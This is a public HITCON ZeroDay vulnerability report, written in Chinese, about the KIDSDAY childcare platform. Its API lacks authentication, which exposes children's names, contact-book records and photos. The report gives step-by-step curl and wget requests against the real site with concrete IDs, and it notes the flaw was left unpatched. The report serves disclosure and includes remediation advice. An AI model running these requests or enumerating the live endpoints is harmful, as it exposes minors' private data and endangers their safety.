Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00520
- Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
- Title: KIDSDAY API 無認證存取,洩露學生個資與照片
- Introduction: API 完全無需認證即可存取,可列舉全部學生姓名、機構名稱、日常活動紀錄及大量生活照片。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/04/09 16:18:07 : 新提交 (由 鄉民 更新此狀態)
- 2026/04/14 20:00:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:53:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:53:35 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:53:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/26 12:11:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/26 12:11:41 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/22 10:03:40 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/07/03 01:26:15 : 未修補完成 (由 鄉民 更新此狀態)
- 2026/07/03 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00520
- 通報者:鄉民
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://kidsday.com.tw/AF0002/reservation/findappservice?x=1&pid=K1P1
https://kidsday.com.tw/AF0002/reservation/findappservice?x=24&kidid=K1&date=2026-04-07&pid=K1P1
https://kidsday.com.tw/AF0002/reservation/findappservice?x=56
https://kidsday.com.tw/AF0002/reservation/findappservice?x=68&Uid=K1
https://kidsday.com.tw/AF0002/Kids/getdirfile?fileDir=114/T4/1762219978498
https://kidsday.com.tw/AF0002/static/images/114/T4/1762219978498/20251104093301-00-T4--1730151000-1487362381.jpeg
敘述
一、漏洞概述
Kidsday 系統之 Web 端 API 存在嚴重的安全漏洞。系統未對 API 請求進行任何身分驗證(如 Token 或 Session 檢查),且參數設計具備規律性(如 kid, pid, Uid 等)。攻擊者可透過自動化腳本遍歷參數,繞過權限控管限制,直接存取全台合作托嬰中心、幼兒園、補習班之機構資料、學生姓名、詳細聯絡簿紀錄、以及未加密的幼兒生活照片路徑,造成大規模未成年人隱私外洩。
二、重現步驟
步驟 1:遍歷機構資訊取得機構 ID
透過變更 kid 參數(如 AF0001, AF0002...),即可取得特定機構的名稱、電話與地址。
curl -s "https://www.kidsday.com.tw/School/findschool?type=1&kid=AF0002"
步驟 2:取得學生 ID 與姓名
使用機構 ID 作為路徑,遍歷 pid 參數,即可列出該機構下所有學生的內部 ID(kidid)與對應姓名。
curl -s "https://kidsday.com.tw/AF0002/reservation/findappservice?x=1&pid=K1P1"
步驟 3:取得學生聯絡簿資訊
帶入日期與學生 ID,即可在無需登入的情況下讀取該生當日的詳細聯絡簿紀錄。
curl -s "https://kidsday.com.tw/AF0002/reservation/findappservice?x=24&kidid=K1&date=2026-04-07&pid=K1P1"
步驟 4.1:取得機構所有相簿目錄 (rootpath)
透過特定的 API 功能代碼,可直接取得該機構下所有歷史照片的存儲目錄路徑。
curl -s "https://kidsday.com.tw/AF0002/reservation/findappservice?x=56"
步驟 4.2:取得特定學生相簿目錄 (rootpath)
藉由變更 Uid 參數,可過濾並取得特定學生專屬的照片存放目錄。
curl -s "https://kidsday.com.tw/AF0002/reservation/findappservice?x=68&Uid=K1"
步驟 4:獲取相簿檔案名稱列表
將步驟 3 取得的 rootpath 路徑帶入 fileDir,系統會回傳該目錄下所有照片的原始檔案名稱清單。
curl -s "https://kidsday.com.tw/AF0002/Kids/getdirfile?fileDir=114/T4/1762219978498"
步驟 5:存取原始照片檔案
結合機構 ID、目錄路徑與檔案名稱,即可在瀏覽器直接查閱並下載幼兒照片。
wget https://kidsday.com.tw/AF0002/static/images/114/T4/1762219978498/20251104093301-00-T4--1730151000-1487362381.jpeg
三、影響評估
-
未成年人隱私極度外洩: 受影響對象均為缺乏自我保護能力的嬰幼兒或兒童。洩漏內容包含姓名、長相、生理健康狀況(聯絡簿),若被不法分子、誘拐集團或肉搜者利用,將對幼兒人身安全造成立即性威脅。
-
大規模數據暴露: 由於參數(如 AF0002)具有連續性,攻擊者可在短時間內爬取該平台所有合作機構的歷史資料,受害人數恐達數千甚至上萬名幼兒。
修補建議
1. 實施嚴格的身分驗證:所有涉及個資的 API 或網頁,必須檢查請求者的 Session 或 Token。
2. 加入權限校驗 (IDOR 檢查): 系統應確認當前登入的使用者(如家長)僅能存取其擁有權限之特定 ID 資料。
3. 敏感路徑隨機化與加密:學生照片及聯絡簿文件不應使用規律遞增的 ID 命名,應使用隨機且長度足夠的 UUID 或加密路徑,並設定存取時效。